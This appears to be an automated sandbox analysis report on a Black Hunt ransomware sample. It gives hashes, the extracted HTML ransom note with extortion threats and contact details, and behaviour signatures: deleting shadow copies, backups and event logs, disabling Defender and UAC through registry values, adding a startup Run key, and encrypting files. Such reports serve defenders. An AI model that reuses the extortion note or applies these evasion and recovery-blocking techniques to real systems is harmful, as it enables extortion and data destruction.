cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19-01-2024 00:56

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General

Target

cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
Size

707KB
MD5

51d9ae8d5ef9385579d3461c91a91a6a
SHA1

60cabd8495d2cc0f73d68f3fa714ccc49a0db510
SHA256

cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28
SHA512

a6d45bc3579ab9723c4229f5488a2f2b3af9e9a6c1f468196e4d83d6e988f428ccde96c7e990d00507d68bfd850a265dd89b85692731ed6ceeb383daab2c3aa2
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza158Ivnh:6uaTmkZJ+naie5OTamgEoKxLWE2h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> ukzLsXa8EP1EkILF </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2416	fsutil.exe
1584	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2016	wevtutil.exe
2696	wevtutil.exe
2068	wevtutil.exe
1612	wevtutil.exe
2792	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2140	bcdedit.exe
2820	bcdedit.exe
1656	bcdedit.exe
3604	bcdedit.exe

Renames multiple (2902) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2180	wbadmin.exe
3148	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3332	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\G:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\P:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\X:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\S:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\K:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\N:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\Y:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\O:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\A:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\H:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\J:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\Z:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\B:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\M:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\W:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\E:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\U:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\I:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\L:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened (read-only)	\??\V:	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse.nl_zh_4.4.0.v20140623020002.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Aqtobe	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.di_1.0.0.v20140328-2112.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\PST8	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santarem	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santa_Isabel	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPBluHandle.png	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Pets_frame-shadow.png	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state.nl_ja_4.4.0.v20140623020002.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground_PAL.wmv	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\#BlackHunt_ReadMe.hta	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\NavigationLeft_ButtonGraphic.png	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_zh_4.4.0.v20140623020002.jar	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Bermuda	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\#BlackHunt_Private.key	cd94a43b7b05e19cfa7dc85f12387fdf6fa59528824e32eef642a01a95591c28.exe
